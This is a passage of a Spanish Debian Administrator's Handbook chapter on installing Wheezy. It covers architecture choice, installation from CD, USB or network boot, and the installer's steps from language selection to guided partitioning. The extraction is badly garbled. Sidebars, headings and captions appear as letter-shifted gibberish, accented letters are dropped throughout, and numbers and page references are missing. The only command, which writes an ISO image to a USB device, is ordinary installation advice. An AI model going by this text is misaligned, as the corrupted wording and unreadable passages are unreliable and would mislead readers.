Una vez que conoce toda la informacin del servidor actual, puede apagarlo y comenzar a instalar Debian en l.
Para elegir la versin apropiada, debemos saber la arquitectura del equipo. Si es una PC relativamente reciente, es probable que sea amd64 (equipos ms antiguos usualmente eran i386). En
otros casos podemos reducir las posibilidades segn el sistema utilizado previamente.
La Tabla3.1 no pretende ser exhaustiva, pero puede ser til. En cualquier caso, la documentacin
original para el equipo es la fuente ms confiable para encontrar esta informacin.
)"3%8"3&
&RVJQPT EF  CJUT DPOUSB
FRVJQPT EF  CJUT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

-B NBZPSB EF MPT FRVJQPT SFDJFOUFT UJFOF QSPDFTBEPSFT *OUFM P ".% EF  CJUT


DPNQBUJCMFT DPO MPT QSPDFTBEPSFT BOUJHVPT EF  CJUT QPS MP UBOUP GVODJPOBS
FM TPXBSF DPNQJMBEP QBSB MB BSRVJUFDUVSB kJ{ 1PS FM PUSP MBEP FTUF NP
EP EF DPNQBUJCJMJEBE OP BQSPWFDIB DPNQMFUBNFOUF MBT DBQBDJEBEFT EF FTUPT
OVFWPT QSPDFTBEPSFT &T QPS FTUP RVF %FCJBO MB BSRVJUFDUVSB kBNE{ QBSB
DIJQT ".% SFDJFOUFT BT DPNP UBNCJO QSPDFTBEPSFT kFNU{ EF *OUFM JO
DMVZFOEP MB TFSJF SFDJFOUF k$PSF{
RVF TPO NVZ TJNJMBSFT B MPT QSPDFTBEPSFT
".%

Sistema operativo
DEC Unix (OSF/1)
HP Unix
IBM AIX
Irix
Mac OS
z/OS, MVS
Solaris, SunOS
Ultrix
VMS
Windows 95/98/ME
Windows NT/2000
Windows XP / Windows Server 2008
Windows Vista / Windows 7 / Windows 8
$VBESP 

Arquitectura(s)
alpha, mipsel
ia64, hppa
powerpc
mips
amd64, powerpc, i386, m68k
s390x, s390
sparc, i386, m68k
mips
alpha
i386
i386, alpha, ia64, mipsel
i386, amd64, ia64
i386, amd64

&NQBSFKBOEP TJTUFNB PQFSBUJWP Z BSRVJUFDUVSB

 *OTUBMBDJO Z DPOGJHVSBDJO EF MPT TFSWJDJPT TFMFDDJPOBEPT


Una vez que Debian est instalado debemos instalar y configurar, uno por uno, todos los servicios que debe tener este equipo. La nueva configuracin debe tener en cuenta la anterior para
asegurar una transicin fluida. Toda la informacin recolectada en los primeros dos pasos es til
para completar esta parte exitosamente.

'JHVSB 

*OTUBMBDJO EF MPT TFSWJDJPT TFMFDDJPOBEPT

Antes de sumergirse completamente en este ejercicio es muy recomendable que lea el resto de
este libro. Luego tendr un entendimiento ms preciso de cmo configurar los servicios esperados.

$BQUVMP  " OMJTJT EF MB JOTUBMBDJO FYJTUFOUF Z NJHSBDJO



1BMBCSBT DMBWF
*OTUBMBDJO
1BSUJDJPOBEP
'PSNBUFP
4JTUFNB EF BSDIJWPT
4FDUPS EF BSSBORVF
%FUFDDJO EF
IBSEXBSF

$BQUVMP

*OTUBMBDJO

$POUFOJEPT
.UPEPT EF JOTUBMBDJO 

*OTUBMBDJO QBTP B QBTP 

-VFHP EFM QSJNFS BSSBORVF 

Para utilizar Debian necesita instalarlo en una mquina; el programa debianinstaller se encarga de esta tarea. Una instalacin apropiada incluye muchas tareas.
Este captulo las revisa en orden cronolgico.

70-7&3 " -04


$*.*&/504
6O DVSTP BDFMFSBEP FO MPT
BQOEJDFT

*OTUBMBS VO FRVJQP TJFNQSF FT NT TJNQMF DVBOEP VOP DPOPDF DNP GVODJPOB


4J OP MP TBCF EFTWFTF SQJEBNFOUF BM "QOEJDF`# $VSTP CSFWF EF FNFSHFODJB
QHJOB  BOUFT EF MFFS FTUF DBQUVMP

El instalador para Wheezy est basado en debian-installer. Su diseo modular le permite trabajar en varios escenarios y evolucionar y adaptarse a los cambios. A pesar de las limitaciones
que implica la compatibilidad con un gran nmero de arquitecturas, este instalador es muy accesible para principiantes ya que asiste a los usuarios en cada paso del proceso. La deteccin automtica de hardware, el particionamiento guiado y la interfaz grfica de usuario solucionaron
la mayora de los problemas que deban enfrentar los novatos durante los primeros aos de
Debian.
La instalacin necesita 80 MB de RAM (siglas en ingls de memoria de acceso aleatorio) y al
menos 700 MB de espacio en disco duro. Todos los equipos de Falco cumplen con dicho criterio.
Es de notar, sin embargo, que estos nmeros son aplicables en la instalacin de un sistema muy
limitado sin un escritorio grfico. Se recomienda un mnimo de 512 MB de RAM y 5 GB de disco
duro en un equipo de escritorio para oficina.
$6*%"%0
"DUVBMJ[BOEP EFTEF 4RVFF[F

4J ZB UJFOF %FCJBO 4RVFF[F JOTUBMBEP FO TV NRVJOB aFTUF DBQUVMP OP FT QBSB


VTUFE " EJGFSFODJB EF PUSBT EJTUSJCVDJPOFT %FCJBO QFSNJUF BDUVBMJ[BS VO TJT
UFNB EF VOB WFSTJO B MB TJHVJFOUF TJO UFOFS RVF SFJOTUBMBSMP 6OB SFJOTUBMBDJO
BEFNT EF JOOFDFTBSJB QPESB TFS QFMJHSPTB ZB RVF QVFEF FMJNJOBS QSPHSBNBT
ZB JOTUBMBEPT
%FTDSJCJSFNPT FM QSPDFTP EF BDUVBMJ[BDJO FO MB 4FDDJO  k"DUVBMJ[BDJO EF
VOB EJTUSJCVDJO FTUBCMF B MB TJHVJFOUF{ QHJOB 

 .UPEPT EF JOTUBMBDJO


Se puede instalar un sistema Debian desde diferentes medios siempre que lo permita el BIOS del
equipo. Puede iniciar desde un CD-ROM, una llave USB o inclusive desde la red.
70-7&3 " -04
$*.*&/504
#*04 MB JOUFSGB[
IBSEXBSFTPXBSF

#*04 MBT TJHMBT FO JOHMT EF kTJTUFNB CTJDP EF FOUSBEBTBMJEB{


FT VO TP
XBSF RVF TF FODVFOUSB FO MB QMBDB NBESF MB QMBDB FMFDUSOJDB RVF DPOFDUB
UPEPT MPT QFSJGSJDPT
Z TF FKFDVUB DVBOEP BSSBODB FM FRVJQP QBSB QPEFS DBS
HBS FM TJTUFNB PQFSBUJWP QPS NFEJP EF VO HFTUPS EF BSSBORVF BEBQUBEP
 4F
NBOUJFOF FO FKFDVDJO FO TFHVOEP QMBOP QBSB QSPQPSDJPOBS VOB JOUFSGB[ FOUSF
FM IBSEXBSF Z FM TPXBSF FO OVFTUSP DBTP FM ODMFP -JOVY


 *OTUBMBDJO EFTEF $%30.%7%30.


El medio de instalacin ms utilizado es mediante un CD-ROM (o DVD-ROM, que se comporta
exactamente de la misma forma): el equipo inicia desde este medio y el programa de instalacin
toma el control.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Diferentes familias de CD-ROMs tienen distintos propsitos: netinst (network installation: instalacin por red) contiene el instalador y el sistema base Debian, se descargarn luego todos los
otros programas. Su imagen, el sistema de archivos ISO-9660 que contiene el contenido exacto del disco, slo ocupa entre 150 a 250 MB (dependiendo de la arquitectura). Por el otro lado,
el conjunto completo ofrece todos los paquetes y permite la instalacin en un equipo sin acceso
a internet; requiere alrededor de 70 CD-ROMs (o 10 DVD-ROMs, o dos discos Blu-ray). Pero los
programas se dividen entre los discos segn popularidad e importancia; los primeros tres discos
deberan ser suficientes para la mayora de las instalaciones ya que contienen el software ms
utilizado.
Debian tambin sola generar un CD-ROM businesscard o bizcard que slo contenan el instalador y requieran que se descarguen todos los paquetes Debian (incluyendo el sistema base).
Debido a que su imagen slo ocupaba 35 MB estaba pensando para grabarse en un CD-ROM de
tipo business card (tarjeta de negocios). Para Wheezy ya no se provee este CD-ROM: los desarrolladores del instalador de Debian decidieron que la cantidad de trabajo estimado para mantener esta imagen no vala la pena. Lo que es ms, la imagen mini.iso que ya proveen como
un producto secundario del instaladores muy similar.
46(&3&/$*"
%JTDPT NVMUJBSRVJUFDUVSB

-B NBZPSB EF MPT $%30.T Z %7%30.T EF JOTUBMBDJO TMP GVODJPOBO


FO VOB BSRVJUFDUVSB EF IBSEXBSF FTQFDGJDB 4J EFTFB EFTDBSHBS MBT JNHFOFT
DPNQMFUBT EFCF UFOFS DVJEBEP EF FMFHJS BRVFMMB RVF GVODJPOF FO FM IBSEXBSF
EFM FRVJQP FO FM RVF EFTFB JOTUBMBSMP
"MHVOBT JNHFOFT EF $%%7%30. QVFEFO GVODJPOBS FO WBSJBT BSRVJUFD
UVSBT 5FOFNPT VOB JNBHFO EF $%30. RVF DPNCJOB MBT JNHFOFT OFUJOTU
QBSB MBT BSRVJUFDUVSBT J Z BNE 5BNCJO FYJTUF VOB JNBHFO EF %7%30.
RVF DPOUJFOF FM JOTUBMBEPS Z VOB TFMFDDJO EF QBRVFUFT CJOBSJPT QBSB J Z
BNE BT DPNP UBNCJO MPT QBRVFUFT GVFOUF DPSSFTQPOEJFOUFT

Para adquirir imgenes de CD-ROM de Debian puede, por supuesto, descargarlas y grabarlas en
un disco. Puede tambin comprarlas y, de esa forma, proveer un poco de ayuda financiera al
proyecto. En el sitio web encontrar una lista de proveedores de imgenes de CD-ROM y sitios
donde descargarlas.
http://www.debian.org/CD/index.html

 "SSBORVF EFTEF VOB MMBWF 64#


Como las mquinas recientes pueden arrancar desde dispositivos USB, tambin puede instalar
Debian desde una llave USB (que no es mucho ms que un pequeo disco de memoria flash).
Tenga cuidado ya que no todos los BIOS son iguales, algunos pueden arrancar desde dispositivos USB 2.0 mientras que otros slo funcionarn con USB 1.1. Adems, la llave USB debe tener
sectores de 512 bytes y esta caracterstica aunque comn nunca est documentada en el
empaquetado de las llaves que encontrar a la venta.
El manual de instalacin explica cmo crear una llave USB que contenga debian-installer.
Se simplific el procedimiento significativamente en Squeeze comparada con versiones anteri-

$BQUVMP  * OTUBMBDJO



ores, ya que las imgenes ISO para arquitecturas i386 y amd64 son ahora imgenes hbridas que
pueden arrancar tanto desde un CD-ROM como desde una llave USB.
Primero debe identificar el nombre de dispositivo de la llave USB (por ejemplo: EFWTEC; el
mtodo ms simple para hacerlo es revisar el mensaje generado por el ncleo con la orden
dmesg. Luego debe copiar la imagen ISO ya descargada (por ejemplo debian-7.0.0-amd64-i386netinst.iso) con la orden cat debian-7.0.0-amd64-i386-netinst.iso >/dev/sdb;sync. Esta
orden necesita permisos de administrador ya que accede directamente a la llave USB y borra su
contenido ciegamente.
Podr encontrar una explicacin ms detallada en el manual de instalacin. Entre otras cosas,
describe un mtodo alternativo para preparar la llave USB que es ms complejo pero permite
modificar las opciones predeterminadas del instalador (aquellas definidas en la lnea de rdenes
del ncleo).
http://www.debian.org/releases/stable/amd64/ch04s03.html

 *OTUBMBDJO B USBWT EF BSSBORVF QPS SFE


Muchos BIOS permiten arrancar directamente desde la red descargando un ncleo y una imagen mnima para usar como sistema de archivos . Este mtodo (que tiene varios nombres como
arranque PXE o TFTP) puede ser un salvavidas si el equipo no tiene una lectora de CD-ROM o si
su BIOS no puede arrancar por otros medios.
Este mtodo de instalacin funciona en dos pasos. Primero, al arrancar el equipo, el BIOS (o la
placa de red) hace un pedido BOOTP/DHCP para adquirir una direccin IP automticamente.
Cuando un servidor BOOTP o DHCP enva una respuesta, incluye un nombre de archivo adems
de la configuracin de red. Luego de configurar la red, el equipo cliente hace un pedido TFTP
(siglas en ingls de protocolo trivial de transferencia de archivos) para el archivo del nombre
que recibi. Una vez que adquiere dicho archivo, lo ejecuta como un gestor de arranque. Esto
luego ejecuta el programa de instalacin de Debian como si lo hubiese cargado desde el disco
duro, un CD-ROM o una llave USB.
Todos los detalles de este mtodo estn disponibles en la gua de instalacin (seccin Preparando los archivos para arranque por red TFTP).
http://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp
http://www.debian.org/releases/stable/amd64/ch04s05.html

 0USPT NUPEPT EF JOTUBMBDJO


Cuando necesitamos desplegar instalaciones personalizadas para una gran cantidad de equipos
generalmente elegimos un mtodo de instalacin automtico en lugar de uno manual. Dependiendo de la situacin y la complejidad de las instalaciones podemos utilizar FAI (siglas de instalador completamente automtico, descripto en la Seccin 12.3.1, Instalador completamente



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

automtico (FAI: Fully Automatic Installer) pgina 349) o un CD de instalacin preconfigurado (preseeding, revise la Seccin 12.3.2, Presembrado de Debian-Installer pgina 350).

 *OTUBMBDJO QBTP B QBTP


 "SSBORVF F JOJDJP EFM JOTUBMBEPS
Una vez que el BIOS comenz el arranque desde el CD o DVD-ROM aparecer el men del gestor
de arranque Isolinux. En esta etapa, el ncleo Linux no est cargado an; este men le permite
elegir el ncleo a arrancar y posiblemente ingresar los parmetros a pasarle en el proceso.
Para una instalacin estndar slo necesita elegir Instalacin o Instalacin grfica (con las
teclas de flecha), luego presionar la tecla Enter para iniciar el resto del proceso de instalacin.
Si el DVD-ROM es un disco multiarquitectura (como el que viene incluido en este libro) y el
equipo tiene un procesador Intel o AMD de 64 bits, las opciones Instalacin 64 bits y Instalacin grfica 64 bits permiten instalar la variante de 64 bits (amd64) en lugar de la versin
predeterminada de 32 bits (i386). En la prctica, casi siempre podr utilizar la versin de 64 bits:
los procesadores ms recientes son de 64 bits y la versin de 64 bits adminstra mejor la gran
cantidad de memoria RAM que suelen tener los nuevos equipos.
:&/%0 .4 "--
 P  CJUT

-B EJGFSFODJB GVOEBNFOUBM FOUSF MPT TJTUFNBT EF  Z  CJUT FT FM UBNBP EF MBT


EJSFDDJPOFT EF NFNPSJB &O UFPSB VO TJTUFNB EF  CJUT OP QVFEF EJSFDDJPOBS
NT EF  (# EF 3".  CZUFT
 &O MB QSDUJDB FT QPTJCMF TVQFSBS FTUB MJN
JUBDJO VTBOEP MB WBSJBOUF 686-pae EFM ODMFP TJFNQSF RVF FM QSPDFTBEPS TFB
DPNQBUJCMF DPO 1"& TJHMBT FO JOHMT EF kFYUFOTJO EF EJSFDDJPOFT GTJDBT{

4JO FNCBSHP VTBS FTUB GVODJPOBMJEBE UJFOF VO HSBO JNQBDUP FO FM SFOEJNJFOUP
EFM TJTUFNB 1PS FMMP FT DPOWFOJFOUF VTBS FM NPEP EF  CJUT FO VO TFSWJEPS DPO
HSBOEFT DBOUJEBEFT EF 3".
1BSB VO FRVJQP EF PGJDJOB EPOEF VOB EJGFSFODJB FO SFOEJNJFOUP EF VO QF
RVFP QPSDFOUBKF FT EFTQSFDJBCMF
EFCF UFOFS FO DVFOUB RVF BMHVOPT QSPHSB
NBT QSJWBUJWPT OP UJFOFO WFSTJPOFT EF  CJUT EJTQPOJCMFT 4LZQF QPS FKFNQMP

&T UDOJDBNFOUF QPTJCMF IBDFSMPT GVODJPOBS FO TJTUFNBT EF  CJUT QFSP UFOES
RVF JOTUBMBS MBT WFSTJPOFT EF  CJUT EF UPEBT MBT CJCMJPUFDBT OFDFTBSJBT SFWJTF
MB 4FDDJO  k$PNQBUJCJMJEBE NVMUJBSRVJUFDUVSB{ QHJOB 
Z B WFDFT VUJ
MJ[BS setarch P linux32 EFM QBRVFUF VUJMMJOVY
QBSB FOHBBS B MB BQMJDBDJO
TPCSF MB OBUVSBMF[B EFM TJTUFNB

&/ -" 13$5*$"


*OTUBMBDJO KVOUP B VO
TJTUFNB 8JOEPXT FYJTUFOUF

4J FM FRVJQP ZB FKFDVUB 8JOEPXT OP FT OFDFTBSJP FMJNJOBS FM TJTUFNB QBSB


QPEFS JOTUBMBS %FCJBO 1VFEF UFOFS BNCPT TJTUFNBT TJNVMUOFBNFOUF DBEB
VOP JOTUBMBEP FO VO EJTDP P QBSUJDJO TFQBSBEP Z FMFHJS DVM JOJDJBS BM NP
NFOUP EF BSSBODBS FM FRVJQP (FOFSBMNFOUF FTUB DPOGJHVSBDJO FT MMBNBEB
kBSSBORVF EVBM{ Z FM TJTUFNB EF JOTUBMBDJO EF %FCJBO QVFEF DPOGJHVSBSMB
&TUP TF SFBMJ[B EVSBOUF MB FUBQB EF QBSUJDJPOBEP EFM EJTDP EVSP EF MB JOTUB
MBDJO Z EVSBOUF MB DPOGJHVSBDJO EFM HFTUPS EF BSSBORVF SFWJTF MPT SFDVBESPT
FO EJDIBT TFDDJPOFT

4J ZB UJFOF VO TJTUFNB 8JOEPXT GVODJPOBOEP QVFEF JODMVTJWF FWJUBS VUJMJ[BS
VO $%30. %FCJBO PGSFDF VO QSPHSBNB QBSB 8JOEPXT RVF EFTDBSHBS VO

$BQUVMP  * OTUBMBDJO



JOTUBMBEPS %FCJBO MJHFSP Z MP DPOGJHVSBS FO FM EJTDP EVSP -VFHP TMP OFDFTJ


UB SFJOJDJBS FM FRVJQP Z TFMFDDJPOBS FOUSF VO BSSBORVF OPSNBM EF 8JOEPXT P
JOJDJBS FM QSPHSBNB EF JOTUBMBDJO 5BNCJO QPES FODPOUSBSMP FO VO TJUJP XFC
EFEJDBEP DPO VO OPNCSF CBTUBOUF FYQMDJUP
http://ftp.debian.org/debian/tools/win32-loader/stable/
http://www.goodbye-microsoft.com/

70-7&3 " -04


$*.*&/504
(FTUPS EF BSSBORVF

&M HFTUPS EF BSSBORVF FT VO QSPHSBNB EF CBKP OJWFM RVF FT SFTQPOTBCMF EF BS


SBODBS FM ODMFP -JOVY EFTQVT RVF FM #*04 MF DFEF FM DPOUSPM 1BSB FODBSHBSTF
EF FTUB UBSFB EFCF QPEFS VCJDBS FO FM EJTDP BM LFSOFM -JOVY B BSSBODBS -PT
QSPHSBNBT NT VUJMJ[BEPT FO MBT BSRVJUFDUVSBT J Z BNE QBSB FTUB UBSFB
TPO -*-0 FM NT BOUJHVP EF MPT EPT Z (36# TV SFFNQMB[P NPEFSOP *TPMJO
VY Z 4ZTMJOVY TPO BMUFSOBUJWBT VUJMJ[BEBT GSFDVFOUFNFOUF QBSB BSSBODBS EFTEF
NFEJPT SFNPWJCMFT

Cada elemento del men esconde una lnea de rdenes especfica para el arraque que puede ser
configurada segn sea necesario presionando la tecla TAB antes de validarlo y arrancar. El men
Ayuda muestra la interfaz de lnea de rdenes antigua, donde las teclas F1 a F10 muestran
diferentes pantallas de ayuda que detallan las opciones disponibles. Rara vez necesitar utilizar
esta opcin salvo casos muy especficos.
El modo experto (disponible en el men Opciones avanzadas) detalla todas las posibles opciones en el proceso de instalacin y permite navegar entre los varios pasos en lugar de que
stos ocurran de forma automtica y secuencial. Tenga cuidado, este modo puede ser confuso
debido a la cantidad de opciones de configuracin que ofrece.

'JHVSB  1BOUBMMB EF BSSBORVF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Una vez iniciado, el programa de instalacin le guiar a travs del proceso paso a paso. Esta seccin presenta cada uno de estos pasos en detalle. Seguiremos aqu el proceso de una instalacin
desde un DVD-ROM multiarquitectura (ms especficamente, la versin beta4 del instalador para
Wheezy); las instalaciones netinst, as como tambin la versin final del instalador pueden verse
ligeramente distintas. Tambin abordaremos la instalacin en modo grfico, pero difiere de la
instalacin clsica (modo texto) slo en su apariencia.

 4FMFDDJO EFM JEJPNB


El programa de instalacin comienza en ingls, pero en el primer paso del mismo se permite
al usuario elegir el idioma que ser utilizado durante el resto del proceso de instalacin. Por
ejemplo, al elegir el idioma francs el proceso de instalacin ser traducido a francs (y como resultado el sistema configurado en francs). Esta eleccin se utiliza para definir opciones
predeterminadas ms relevantes en las fases subsiguientes del proceso de instalacin (como la
distribucin del teclado).
70-7&3 " -04
$*.*&/504
/BWFHBDJO NFEJBOUF
UFDMBEP

"MHVOPT QBTPT EFM QSPDFTP EF JOTUBMBDJO SFRVJFSFO RVF JOHSFTF JOGPSNBDJO


&TUBT QBOUBMMBT UJFOFO WBSJBT SFBT RVF QVFEFO kPCUFOFS FM GPDP{ SFBT EF
FOUSBEB EF UFYUP DBKBT EF DPOGJSNBDJO MJTUBT EF PQDJPOFT CPUPOFT QBSB DPO
GJSNBS P DBODFMBS
Z MB UFDMB 5"# MF QFSNJUF NPWFSTF EF VOB B PUSB
&O FM NPEP HSGJDP QVFEF VUJMJ[BS FM SBUO DPNP MP IBSB OPSNBMNFOUF FO VO
FTDSJUPSJP HSGJDP ZB JOTUBMBEP

'JHVSB 

4FMFDDJO EFM JEJPNB

 4FMFDDJO EFM QBT


El segundo paso consiste en elegir su pas. Combinada con el idioma, esta informacin le permite
al programa ofrecer la distribucin de teclado ms apropiada. Tambin tendr influencia en la

$BQUVMP  * OTUBMBDJO



configuracin de la zona horaria. En los Estados Unidos se sugerir un teclado QWERTY estndar
y las opciones de zonas horarias apropiadas.

'JHVSB 

4FMFDDJO EFM QBT

 4FMFDDJO EF MB EJTUSJCVDJO EF UFDMBEP


El teclado propuesto American English corresponde a la distribucin QWERTY usual.

'JHVSB 

&MFDDJO EF UFDMBEP

 %FUFDDJO EF IBSEXBSF


Este paso es completamente automtico en la gran mayora de los casos. El instalador detecta
su hardware e intenta identificar el dispositivo CD-ROM a utilizar para acceder a su contenido.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Carga los mdulos correspondientes a los componentes de hardware detectados y luego monta el CD-ROM para poder leerlo. Los pasos previos estaban completamente contenidos en la
imagen incluida en el CD, un archivo de tamao limitado y cargado en memoria por el BIOS al
arrancar desde el CD.
El instalador funciona con la gran mayora de los dispositivos, especialmente perifricos estndar ATAPI (a veces llamados IDE y EIDE). Sin embargo, si falla la deteccin de la lectora de CDROM, el instalador ofrecer la opcin de cargar los mdulos para el ncleo (por ejemplo desde
una llave USB) que corresponden al controlador del CD-ROM.

 $BSHB EF DPNQPOFOUFT


Con los contenidos del CD disponibles, el instalador carga todos los archivos necesarios para
continuar con su trabajo. Esto incluye controladores adicionales para el resto del hardware (especialmente la placa de red) as como tambin todos los componentes del programa de instalacin.

 %FUFDDJO EF IBSEXBSF EF SFE


Este paso automtico intenta identificar la placa de red y cargar el mdulo correspondiente. Si
falla la deteccin automtica puede seleccionar el mdulo a cargar manualmente. Si no funciona
ningn mdulo es posible cargar un mdulo especfico de dispositivos removibles. Esta ltima
solucin generalmente slo es necesaria cuando el controlador adecuado no est incluido en el
ncleo Linux estndar pero est disponible en otro lado, como el sitio web del fabricante.
Este paso tiene que ser exitoso obligatoriamente para las instalaciones netinst ya que se deben
cargar los paquetes Debian desde la red.

 $POGJHVSBDJO EF SFE


Para poder automatizar el proceso tanto como sea posible, el instalador intenta configurar la red
de forma automtica con DHCP (para IPv4) y utilizando el descubrimiento de redes IPv6. Si eso
falla ofrece ms opciones: intentar nuevamente con una configuracin DHCP normal, intentar
una configuracin DHCP declarando el nombre del equipo o configurar la red de forma esttica.
La ltima opcin necesita una direccin IP, una mscara de red, una direccin IP para una posible
puerta de enlace, un nombre de equipo y un nombre de dominio.
46(&3&/$*"
$POGJHVSBDJO TJO %)$1

4J MB SFE MPDBM UJFOF VO TFSWJEPS %)$1 RVF OP EFTFB VUJMJ[BS QPSRVF QSFGJFSF
DPOGJHVSBS VOB EJSFDDJO *1 FTUUJDB QBSB FM FRVJQP EVSBOUF MB JOTUBMBDJO
QVFEF BHSFHBS MB PQDJO netcfg/use_dhcp=false BM BSSBODBS EFTEF FM $%
30. 4MP OFDFTJUB TFMFDDJPOBS FM FMFNFOUP EFM NFO RVF EFTFB VUJMJ[BS QSF
TJPOBS MB UFDMB 5"# Z BHSFHBS FTUB PQDJO BOUFT EF QSFTJPOBS MB UFDMB &OUFS

$BQUVMP  * OTUBMBDJO



$6*%"%0
/P JNQSPWJTF

.VDIBT SFEFT MPDBMFT FTUO CBTBEBT FO MB QSFNJTB JNQMDJUB RVF TF QVFEF DPO
GJBS FO UPEPT MPT FRVJQPT MB DPOGJHVSBDJO JOBEFDVBEB FO VO TMP FRVJQP HFO
FSBMNFOUF QFSUVSCBS UPEB MB SFE $PNP SFTVMUBEP OP DPOFDUF TV FRVJQP B VOB
SFE TJO BOUFT BDPSEBS MBT DPOGJHVSBDJPOFT BEFDVBEBT DPO FM BENJOJTUSBEPS QPS
FKFNQMP MB EJSFDDJO *1 NTDBSB EF SFE Z EJSFDDJO EF EJGVTJO


 $POGJHVSBDJO EFM SFMPK


Si la red se encuentra disponible, el reloj interno del sistema es actualizado (por nica vez) desde
un servidor NTP. De esta forma, la marcas temporales en los registros sern correctas desde el
primer arranque. Para que se mantengan consistentes en el tiempo es necesario configurar un
demonio NTP luego de la instalacin inicial (revise la Seccin 8.9.2, Sincronizacin de tiempo
pgina 176).

 $POUSBTFB EFM BENJOJTUSBEPS


La cuenta de sperusuario root, reservada para el administrador del equipo, ser creada automticamente durante la instalacin; por ello se solicita una constrasea. Una confirmacin (o
dos entradas idnticas) previenen cualquier error en la entrada que luego sera difcil de corregir.

'JHVSB  $POUSBTFB EFM BENJOJTUSBEPS

4&(63*%"%
$POUSBTFB EFM
BENJOJTUSBEPS


&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

-B DPOUSBTFB EFM VTVBSJP SPPU EFCFSB TFS MBSHB  DBSBDUFSFT P NT


F JNQPTJ
CMF EF BEJWJOBS %F IFDIP DVBMRVJFS FRVJQP Z DVBMRVJFS TFSWJEPS B GPSUJPSJ

DPOFDUBEP B JOUFSOFU FT PCKFUJWP SFHVMBS EF JOUFOUPT BVUPNUJDPT EF DPOFY


JO DPO MBT DPOUSBTFBT NT PCWJBT " WFDFT JODMVTJWF TFS TVKFUP B BUBRVFT
EF EJDDJPOBSJP FO FM RVF TF QSPCBSO DPNP DPOUSBTFB NVDIBT DPNCJOBDJPOFT
EF QBMBCSBT Z ONFSPT &WJUF VUJMJ[BS OPNCSFT EF IJKPT P QBESFT GFDIBT EF
OBDJNJFOUP FUD NVDIPT EF TVT DPNQBFSPT EF USBCBKP QPESBO DPOPDFSMPT Z
SBSB WF[ EFTFBS QSPWFFSMFT BDDFTP MJCSF BM FRVJQP FO DVFTUJO
&TUPT DPNFOUBSJPT TPO JHVBMNFOUF BQMJDBCMFT QBSB DPOUSBTFBT EF PUSPT VTVBS
JPT QFSP MBT DPOTFDVFODJBT EF VOB DVFOUB DPNQSPNFUJEB TPO NFOPT ESTUJDBT
QBSB VTVBSJPT TJO QFSNJTPT EF BENJOJTUSBDJO
4J MF GBMUB JOTQJSBDJO OP EVEF FO VUJMJ[BS HFOFSBEPSFT EF DPOUSBTFBT DPNP
pwgen FO FM QBRVFUF EFM NJTNP OPNCSF


 $SFBDJO EFM QSJNFS VTVBSJP


Debian tambin impone la creacin de una cuenta de usuario estndar para que el administrador
no adquiera el mal hbito de trabajar como root. La norma bsica de precaucin significa esencialmente que se realiza cada tarea con los permisos mnimos necesarios para limitar el dao
que pueda causar un error humano. Es por esto que el instalador pedir el nombre completo
de su primer usuario, su nombre de usuario y su contrasea (dos veces para evitar el riesgo de
entradas errneas).

'JHVSB 

/PNCSF EFM QSJNFS VTVBSJP

 %FUFDDJO EF EJTDPT Z PUSPT EJTQPTJUJWPT


Este paso detecta automticamente los discos duros en los que se podra instalar Debian. Sern
presentados en el prximo paso: particionado.

$BQUVMP  * OTUBMBDJO



 *OJDJP EF MB IFSSBNJFOUB EF QBSUJDJPOBEP


$6-563"
6TPT EFM QBSUJDJPOBEP

&M QBSUJDJPOBEP VO QBTP JOEJTQFOTBCMF FO MB JOTUBMBDJO DPOTJTUF FO EJWJEJS


FM FTQBDJP EJTQPOJCMF FO MPT EJTDPT EVSPT DBEB TVCEJWJTJO EF MPT NJTNPT FT
MMBNBEB kQBSUJDJO{
TFHO MPT EBUPT RVF TFSO BMNBDFOBEPT FO M Z FM VTP
QSPQVFTUP QBSB FM FRVJQP &TUF QBTP UBNCJO JODMVZF FMFHJS MPT TJTUFNBT EF
BSDIJWP RVF TFSO VUJMJ[BEPT 5PEBT FTUBT EFDJTJPOFT JOGMVJSO FO FM SFOEJNJFO
UP MB TFHVSJEBE EF MPT EBUPT Z FM BENJOJTUSBEPS EFM TFSWJEPS

El paso de particionado es tradicionalmente difcil para usuarios nuevos. Se necesita definir la


varias porciones del disco (o particiones) en el que se almacenarn los sistemas de archivos
Linux y la memoria virtual (swap). Esta tarea es ms complicada si el equipo ya posee otro
sistema operativo que desea conservar. Efectivamente, tendr que asegurarse de modificar sus
particiones (o que las redimensione sin causar daos).
Afortunadamente, el software de particionado tiene un modo guiado que recomienda las particiones que debe crear el usuario en la mayora de los casos puede simplemente aceptar las
sugerencias del software.

'JHVSB  &MFDDJO EFM NPEP EF QBSUJDJPOBEP

La primera pantalla en la herramienta de particionado ofrece la opcin de utilizar un disco duro


completo para crear varias particiones. Para un equipo (nuevo) que slamente utilizar Linux
esta es claramente la ms simple, y puede elegir la opcin Guiado - utilizar todo el disco. Si
el equipo tiene dos discos duros para dos sistemas operativos, definir un disco para cada uno
tambin es una solucin que facilitar el particionado. En ambos casos, la pantalla siguiente le
ofrecer elegir el disco en el que instalar Linux seleccionando la opcin correspondiente (por



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

ejemplo SCSI1 (0,0,0) (sda) - 12.9 GB ATA VBOX HARDDISK). Luego comenzar el particionado
guiado.

'JHVSB  %JTDP B VUJMJ[BS QBSB FM QBSUJDJPOBEP HVJBEP

El particionado guiado tambin puede configurar volmenes lgicos LVM en lugar de particiones (revise ms adelante). Ya que el resto del funcionamiento es el mismo, no entraremos en
los detalles de la opcin Guiado - utilizar todo el disco duro y configurar LVM (cifrado o no).
En otros casos, cuando Linux deba trabajar junto a otras particiones preexistentes, necesitar
seleccionar el particionado manual.

1BSUJDJPOBEP HVJBEP
La herramienta de particionado guiado ofrece tres mtodos de particionado que corresponden
a distintos usos.

$BQUVMP  * OTUBMBDJO



'JHVSB  1BSUJDJPOBEP HVJBEP

El primer mtodo es llamado Todo los archivos en una particin. El rbol completo del sistema
Linux ser almacenado en un slo sistema de archivos que corresponde con el directorio raz /.
Este particionado simple y robusto es adecuado para sistemas personales o con un slo usuario.
De hecho, se crearn dos particiones: la primera tendr el sistema completo y la segunda la
memoria virtual (swap).
El segundo mtodo, Particin /home/ separada es similar pero divide la jerarqua de archivos
en dos: una particin contiene el sistema Linux (/) y la segunda contiene los directorios de
